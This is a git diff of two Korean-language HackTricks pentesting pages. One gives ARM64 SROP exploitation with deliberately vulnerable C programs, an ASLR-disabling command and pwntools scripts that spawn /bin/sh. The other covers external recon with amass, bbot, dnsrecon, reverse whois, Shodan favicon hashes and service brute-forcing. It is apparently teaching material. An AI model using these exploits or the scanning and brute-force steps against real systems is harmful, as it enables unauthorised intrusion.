* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요**.** * **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. * **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
</details> </details>

View file

@ -2,37 +2,79 @@
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요!</summary> <summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!</strong></summary>
다른 방법으로 HackTricks 지원하는 방법: 다른 HackTricks 지원 방법:
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. * 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 요령을 공유하세요. * **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> </details>
## Code ## Pwntools 예제
이 예제는 취약한 이진 파일을 생성하고 이를 악용하는 것입니다. 이 바이너리는 **스택으로 읽고** 그런 다음 **`sigreturn`**을 호출합니다:
```python
from pwn import *
binsh = "/bin/sh"
context.clear()
context.arch = "arm64"
asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)
frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']
p = process(binary.path)
p.send(bytes(frame))
p.interactive()
```
## bof 예제
### 코드
```c ```c
#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <unistd.h>
void do_stuff(int do_arg){ void do_stuff(int do_arg){
if (do_arg == 1) if (do_arg == 1)
__asm__("mov x0, #139; svc #0;"); __asm__("mov x8, 0x8b; svc 0;");
return; return;
} }
char* vulnerable_function() { char* vulnerable_function() {
char buffer[64]; char buffer[64];
fgets(buffer, sizeof(buffer)*3, stdin); read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
return buffer; return buffer;
} }
int main(int argc, char **argv) { char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function(); char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2); do_stuff(2);
return 0; return 0;
} }
@ -44,11 +86,7 @@ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space # Disable ASLR
``` ```
## Exploit ## Exploit
해당 exploit은 bof를 악용하여 **`sigreturn`** 호출로 돌아가고, `/bin/sh`를 가리키는 포인터로 **`execve`**를 호출하기 위해 스택을 준비합니다. 해당 공격은 bof를 악용하여 **`sigreturn`** 호출로 돌아가 스택을 준비하여 **`execve`**를 호출하고 `/bin/sh`로의 포인터를 전달합니다.
{% hint style="danger" %}
어떤 이유 때문인지 **`sigreturn`** 호출이 아무것도 수행하지 않아 작동하지 않습니다.
{% endhint %}
```python ```python
from pwn import * from pwn import *
@ -58,41 +96,95 @@ libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh")) binsh = next(libc.search(b"/bin/sh"))
print("/bin/sh in: " + hex(binsh))
stack_offset = 72 stack_offset = 72
sigreturn = 0x00000000004006a0 # mov x0, #0x8b ; svc #0x0 sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006a4 # svc #0x0 svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame() frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh # pointer to /bin/sh frame.x0 = binsh
frame.x1 = 0x4343434343434343 # NULL frame.x1 = 0x00 # NULL
frame.x2 = 0x0 # NULL frame.x2 = 0x00 # NULL
frame.pc = svc_call frame.pc = svc_call
payload = b'A' * stack_offset payload = b'A' * stack_offset
payload += p64(sigreturn) payload += p64(sigreturn)
payload += b"B" * len(bytes(frame)) payload += bytes(frame)
with open("/tmp/i", "wb") as f:
f.write(payload)
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
<details> ## 시그리턴 없이 bof 예제
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary> ### 코드
```c
#include <stdio.h>
#include <string.h>
#include <unistd.h>
다른 방법으로 HackTricks를 지원하는 방법: char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! return buffer;
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 }
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
</details> char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}
int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}
```
## Exploit
**`vdso`** 섹션에서 오프셋 **`0x7b0`**에 **`sigreturn`** 호출을 찾을 수 있습니다:
<figure><img src="../../../.gitbook/assets/image.png" alt="" width="563"><figcaption></figcaption></figure>
따라서, 누출된 경우 바이너리가 이를 로드하지 않는 경우에도 **`sigreturn`에 액세스할 수 있는 이 주소를 사용할 수 있습니다**:
```python
from pwn import *
p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))
stack_offset = 72
sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4 # svc #0x0
frame = SigreturnFrame()
frame.x8 = 0xdd # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00 # NULL
frame.x2 = 0x00 # NULL
frame.pc = svc_call
payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
vdso에 대한 자세한 정보는 다음을 확인하십시오:
{% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md)
{% endcontent-ref %}
그리고 `/bin/sh` 주소를 우회하려면 해당 주소를 가리키는 여러 환경 변수를 만들 수 있습니다. 자세한 정보는 다음을 참조하십시오:
{% content-ref url="../../common-binary-protections-and-bypasses/aslr/" %}
[aslr](../../common-binary-protections-and-bypasses/aslr/)
{% endcontent-ref %}

View file

@ -1,50 +1,50 @@
# 외부 탐 방법론 # 외부 탐 방법론
<details> <details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**!</summary> <summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
HackTricks를 지원하는 다른 방법: HackTricks를 지원하는 다른 방법:
* **회사를 HackTricks에서 광고하거나 PDF로 다운로드하면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! * **회사를 HackTricks에서 광고하거나 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 * [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* 💬 **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. * **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요. * **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
</details> </details>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중입니다!** (_유창한 폴란드어 필수_). **해킹 경력**에 관심이 있고 해킹할 수 없는 것을 해킹하고 싶다면 - **채용 중**! (_포괄적인 폴란드어 작문 및 구사 능력 필요_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## 자산 발견 ## 자산 발견
> 어떤 회사에 속한 모든 것이 범위 내에 있다고 말받았고, 실제로 이 회사가 무엇을 소유하고 있는지 알고 싶습니다. > 어떤 회사에 속한 모든 것이 범위 내에 있다고 말씀드렸고, 실제로 이 회사가 무엇을 소유하고 있는지 알고 싶습니다.
이 단계의 목표는 **주요 회사가 소유한 회사** 및 이러한 회사의 **모든 자산**을 획득하는 것입니다. 이를 위해 우리는 다음을 수행할 것입니다: 이 단계의 목표는 **주요 회사가 소유한 회사** 및 이러한 회사의 **모든 자산**을 획득하는 것입니다. 이를 위해 다음을 수행할 것입니다:
1. 주요 회사의 인수를 찾아내어, 이를 통해 범위 내에 있는 회사를 얻을 것입니다. 1. 주요 회사의 인수를 찾아 해당 범위 내의 회사를 얻습니다.
2. 각 회사의 **ASN**을 찾아, 각 회사가 소유한 **IP 범위**를 얻을 것입니다. 2. 각 회사의 **ASN**을 찾아 해당 회사가 소유한 **IP 범위**를 얻습니다.
3. 다른 항목(조직 이름, 도메인 등)을 검색하기 위해 역 whois 조회를 사용하여 첫 번째 항목과 관련된 항목을 찾을 것입니다(이는 재귀적으로 수행될 수 있음). 3. 다른 항목(조직 이름, 도메인 등)을 검색하기 위해 역 whois 조회를 사용하여 첫 번째 항목과 관련된 항목을 검색합니다(이를 재귀적으로 수행할 수 있음).
4. 다른 기술(예: shodan `org``ssl` 필터)을 사용하여 다른 자산을 검색할 것입니다(`ssl` 트릭은 재귀적으로 수행될 수 있음). 4. 다른 자산을 검색하기 위해 shodan `org``ssl` 필터와 같은 기술을 사용합니다(`ssl` 트릭은 재귀적으로 수행할 수 있음).
### **인수** ### **인수**
우선, **주요 회사가 소유한 다른 회사를 알아야** 합니다.\ 우선, **주요 회사가 소유한 다른 회사**를 알아야 합니다.\
[https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 검색하고 "**인수**"를 클릭하는 것이 하나의 옵션입니다. 거기서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\ [https://www.crunchbase.com/](https://www.crunchbase.com)를 방문하여 **주요 회사**를 **검색**하고 "**인수**"를 **클릭**합니다. 거기에서 주요 회사가 인수한 다른 회사를 볼 수 있습니다.\
다른 옵션은 주요 회사의 **위키피디아** 페이지를 방문하고 **인수**를 검색하는 것입니다. 다른 옵션은 주요 회사의 **위키피디아** 페이지를 방문하고 **인수**를 검색하는 것입니다.
> 이 시점에서 범위 내에 있는 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다. > 이 시점에서 범위 내 모든 회사를 알아야 합니다. 이제 그들의 자산을 찾는 방법을 알아봅시다.
### **ASNs** ### **ASNs**
자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 기관(IANA)**에 의해 **자율 시스템(AS)**에 할당된 **고유한 번호**입니다.\ 자율 시스템 번호(**ASN**)는 **인터넷 할당 번호 기관(IANA)**에 의해 **자율 시스템(AS)**에 할당된 **고유한 번호**입니다.\
**AS**는 외부 네트워크에 액세스하기 위한 명확히 정의된 정책을 가진 **IP 주소 블록**으로 구성되며 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다. **AS**는 외부 네트워크에 액세스하기 위한 명확히 정의된 정책을 가진 **IP 주소 블록**으로 구성되며 단일 조직에 의해 관리되지만 여러 운영자로 구성될 수 있습니다.
**회사가 할당된 ASN이 있는지** 찾아 해당 **IP 범위**를 찾는 것이 흥미로울 수 있습니다. **범위 내의 모든 호스트에 대한 취약성 테스트**를 수행하고 이러한 IP 내의 도메인을 찾을 수 있습니다.\ **회사가 할당한 ASN**을 찾아 해당 **IP 범위**를 찾는 것이 흥미로울 수 있습니다. **범위 내의 모든 호스트에 대한 취약성 테스트**를 수행하고 이러한 IP 내의 도메인을 찾는 것이 유용할 것입니다.\
[**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP**, 또는 **도메인**으로 검색할 수 있습니다.\ [**https://bgp.he.net/**](https://bgp.he.net)에서 회사 **이름**, **IP**, 또는 **도메인**으로 검색할 수 있습니다.\
**회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(중남미),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 그러나 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**가 이미 첫 번째 링크에 나와 있을 것입니다. **회사의 지역에 따라 이 링크가 더 많은 데이터를 수집하는 데 유용할 수 있습니다:** [**AFRINIC**](https://www.afrinic.net) **(아프리카),** [**Arin**](https://www.arin.net/about/welcome/region/)**(북미),** [**APNIC**](https://www.apnic.net) **(아시아),** [**LACNIC**](https://www.lacnic.net) **(중남미),** [**RIPE NCC**](https://www.ripe.net) **(유럽). 그러나 아마도 모든** 유용한 정보 **(IP 범위 및 Whois)**가 이미 첫 번째 링크에 나와 있을 것입니다.
```bash ```bash
@ -52,7 +52,7 @@ HackTricks를 지원하는 다른 방법:
amass intel -org tesla amass intel -org tesla
amass intel -asn 8911,50313,394161 amass intel -asn 8911,50313,394161
``` ```
또한, [**BBOT**](https://github.com/blacklanternsecurity/bbot)**은** 하위 도메인 열거를 자동으로 수행하며 스캔 종료 시 ASNs를 집계 및 요약합니다. 또한, [**BBOT**](https://github.com/blacklanternsecurity/bbot)의 하위 도메인 열거는 스캔 마지막에 ASNs를 자동으로 집계 및 요약합니다.
```bash ```bash
bbot -t tesla.com -f subdomain-enum bbot -t tesla.com -f subdomain-enum
... ...
@ -69,14 +69,14 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+ [INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
``` ```
조직의 IP 범위를 찾을 수도 있습니다. 무료 API를 제공하는 [http://asnlookup.com/](http://asnlookup.com)을 사용할 수 있습니다.\ 조직의 IP 범위를 찾을 수도 있습니다. 무료 API를 제공하는 [http://asnlookup.com/](http://asnlookup.com)을 사용하여.\
도메인의 IP 및 ASN을 찾을 수 있습니다. [http://ipv4info.com/](http://ipv4info.com)을 사용할 수 있습니다. 도메인의 IP 및 ASN을 찾을 수 있습니다. [http://ipv4info.com/](http://ipv4info.com)을 사용하여.
### **취약점 찾기** ### **취약점 찾기**
이 시점에서 **범위 내의 모든 자산을 알고 있으므로 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\ 이 시점에서 **범위 내의 모든 자산을 알고 있습니다**. 허용된다면 모든 호스트에 대해 **취약점 스캐너**(Nessus, OpenVAS)를 실행할 수 있습니다.\
또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열린 포트를 찾을 수 있으며 발견한 내용에 따라** 이 책에서 실행 중인 여러 서비스를 펜테스트하는 방법을 확인해야 합니다.\ 또한, [**포트 스캔**](../pentesting-network/#discovering-hosts-from-the-outside)을 실행하거나 shodan과 같은 서비스를 사용하여 **열린 포트를 찾을 수 있으며 발견한 내용에 따라** 이 책에서 여러 가능한 서비스를 펜테스트하는 방법을 살펴보아야 합니다.\
**또한, 기본 사용자 이름** 및 **비밀번호 목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)를 사용하여 서비스를 브루트포스할 수도 있습니다. **또한, 기본 사용자 이름** 및 **비밀번호 목록을 준비하고 [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray)를 사용하여 서비스를 브루트포스할 수도 있습니다.**
## 도메인 ## 도메인
@ -86,9 +86,9 @@ _다음으로 제안된 기술을 사용하여 하위 도메인을 찾을 수도
먼저 각 회사의 **주요 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다. 먼저 각 회사의 **주요 도메인**(들)을 찾아야 합니다. 예를 들어, _Tesla Inc._의 경우 _tesla.com_이 될 것입니다.
### **역방향 DNS** ### **Reverse DNS**
도메인의 IP 범위를 모두 찾았다면 해당 **IP에 대한 역방향 DNS 조회**를 수행하여 범위 내의 더 많은 도메인을 찾을 수 있습니다. 피해자의 DNS 서버 또는 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해보세요. 도메인의 IP 범위를 모두 찾았다면 해당 **IP에 대한 역 DNS 조회**를 수행하여 **범위 내의 더 많은 도메인을 찾을 수 있습니다**. 피해자의 DNS 서버 또는 잘 알려진 DNS 서버(1.1.1.1, 8.8.8.8)를 사용해보세요.
```bash ```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -97,28 +97,28 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
``` ```
### **역 Whois (루프)** ### **역 Whois (루프)**
**whois** 내부에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 포함되어 있습니다. 그러나 더 흥미로운 것은 **회사와 관련된 더 많은 자산을 찾을 수 있다는 것**입니다. 이를 위해 **이메일이 나타나는 다른 whois 레지스트리**에서 **역 whois 조회**를 수행할 수 있습니다.\ **Whois** 내부에는 **조직 이름**, **주소**, **이메일**, 전화번호 등과 같은 많은 흥미로운 **정보**가 포함되어 있습니다. 그러나 더 흥미로운 것은 **회사와 관련된 더 많은 자산을 찾을 수 있다는 것**입니다. 이를 위해 **해당 필드 중 하나로 역 Whois 조회를 수행**하면(예: 동일한 이메일이 나타나는 다른 whois 레지스트리) 회사와 관련된 더 많은 자산을 찾을 수 있습니다.\
다음과 같은 온라인 도구를 사용할 수 있습니다: 다음과 같은 온라인 도구를 사용할 수 있습니다:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **무료** * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **무료**
* [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **무료** * [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **무료**
* [https://www.reversewhois.io/](https://www.reversewhois.io) - **무료** * [https://www.reversewhois.io/](https://www.reversewhois.io) - **무료**
* [https://www.whoxy.com/](https://www.whoxy.com) - **무료** 웹, 유료 API. * [https://www.whoxy.com/](https://www.whoxy.com) - **무료** 웹, 무료 API 아님.
* [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 유료 * [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 유료
* [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 유료 (무료 **100회** 검색) * [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 무료 아님 (무료 **100회** 검색)
* [https://www.domainiq.com/](https://www.domainiq.com) - 유료 * [https://www.domainiq.com/](https://www.domainiq.com) - 무료 아님
[**DomLink** ](https://github.com/vysecurity/DomLink)를 사용하여 이 작업을 자동화할 수 있습니다(whoxy API 키 필요).\ [**DomLink** ](https://github.com/vysecurity/DomLink)를 사용하여 이 작업을 자동화할 수 있습니다(whoxy API 키 필요).\
또한 [amass](https://github.com/OWASP/Amass)를 사용하여 일부 자동 역 whois 검색을 수행할 수 있습니다: `amass intel -d tesla.com -whois` 또한 [amass](https://github.com/OWASP/Amass)를 사용하여 일부 자동 역 Whois 검색을 수행할 수 있습니다: `amass intel -d tesla.com -whois`
**새로운 도메인을 발견할 때마다 이 기술을 사용하여 더 많은 도메인 이름을 발견할 수 있다는 점을 유의하십시오.** **새로운 도메인을 발견할 때마다 이 기술을 사용하여 더 많은 도메인 이름을 발견할 수 있다는 점을 유의하십시오.**
### **트래커** ### **트래커**
2개의 다른 페이지에서 **동일한 트래커의 동일한 ID**를 찾으면 **두 페이지가 동일한 팀에 의해 관리된다고 가정**할 수 있습니다.\ 2개의 다른 페이지에서 **동일한 트래커의 동일한 ID**를 찾으면 **두 페이지가 동일한 팀에 의해 관리된다고 가정**할 수 있습니다.\
예를 들어, 여러 페이지에서 **동일한 Google Analytics ID** 또는 **동일한 Adsense ID**를 볼 때입니다. 예를 들어, 여러 페이지에서 동일한 **Google Analytics ID** 또는 동일한 **Adsense ID**를 볼 때입니다.
이러한 트래커 및 기타 정보로 검색할 수 있는 몇 가지 페이지 및 도구가 있습니다: 이러한 트래커 및 기타 정보로 검색할 수 있는 페이지 및 도구가 있습니다:
* [**Udon**](https://github.com/dhn/udon) * [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com) * [**BuiltWith**](https://builtwith.com)
@ -128,7 +128,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **파비콘** ### **파비콘**
우리의 대상과 관련된 도메인 및 하위 도메인을 찾을 수 있다는 것을 알고 계셨습니까? 동일한 파비콘 아이콘 해시를 찾아주는 것이 바로 [@m4ll0k2](https://twitter.com/m4ll0k2)가 만든 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 도구입니다. 사용 방법은 다음과 같습니다: 우리의 대상과 관련된 도메인 및 하위 도메인을 찾기 위해 동일한 파비콘 아이콘 해시를 찾을 수 있다는 사실을 알고 계셨습니까? 이것이 바로 [@m4ll0k2](https://twitter.com/m4ll0k2)가 만든 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 도구가 하는 일입니다. 사용 방법은 다음과 같습니다:
```bash ```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -137,7 +137,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
간단히 말해서, favihash를 사용하면 대상과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있습니다. 간단히 말해서, favihash를 사용하면 대상과 동일한 파비콘 아이콘 해시를 가진 도메인을 발견할 수 있습니다.
또한, [**이 블로그 게시물**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한대로 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, 취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 위치를 찾을 수** 있습니다: 또한, [**이 블로그 게시물**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139)에서 설명한 바와 같이 파비콘 해시를 사용하여 기술을 검색할 수도 있습니다. 즉, 취약한 버전의 웹 기술의 파비콘 해시를 알고 있다면 shodan에서 검색하여 **더 많은 취약한 위치를 찾을 수** 있습니다:
```bash ```bash
shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
``` ```
@ -160,23 +160,23 @@ return fhash
### **CRT 시간** ### **CRT 시간**
다음과 같은 cron 작업이 있는 것이 일반적입니다. 다음과 같은 cron 작업이 있는 것이 일반적입니다:
```bash ```bash
# /etc/crontab # /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
``` ```
### 외부 탐색 방법론 ### 외부 탐색 방법론
서버의 모든 도메인 인증서를 갱신합니다. 이는 이를 위해 사용된 CA가 유효 기간에 생성된 시간을 설정하지 않더라도 **인증서 투명성 로그에서 동일 회사에 속한 도메인을 찾을 수 있음**을 의미합니다.\ 서버의 모든 도메인 인증서를 갱신합니다. 이는 이를 위해 사용된 CA가 발급 시간을 유효 기간에 설정하지 않더라도, **인증서 투명성 로그에서 동일 회사에 속한 도메인을 찾을 수 있습니다**.\
더 많은 정보를 보려면 [**이 글을 확인하세요**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). 자세한 정보는 [**여기의 설명서**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)를 확인하세요.
### 메일 DMARC 정보 ### 메일 DMARC 정보
[https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)와 같은 웹사이트 또는 [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)와 같은 도구를 사용하여 **동일한 dmarc 정보를 공유하는 도메인 및 하위 도메인을 찾을 수 있습니다**. [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com)와 같은 웹사이트 또는 [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains)와 같은 도구를 사용하여 **동일한 dmarc 정보를 공유하는 도메인 및 하위 도메인을 찾을 수 있습니다**.
### **수동 탈취** ### **수동 인수**
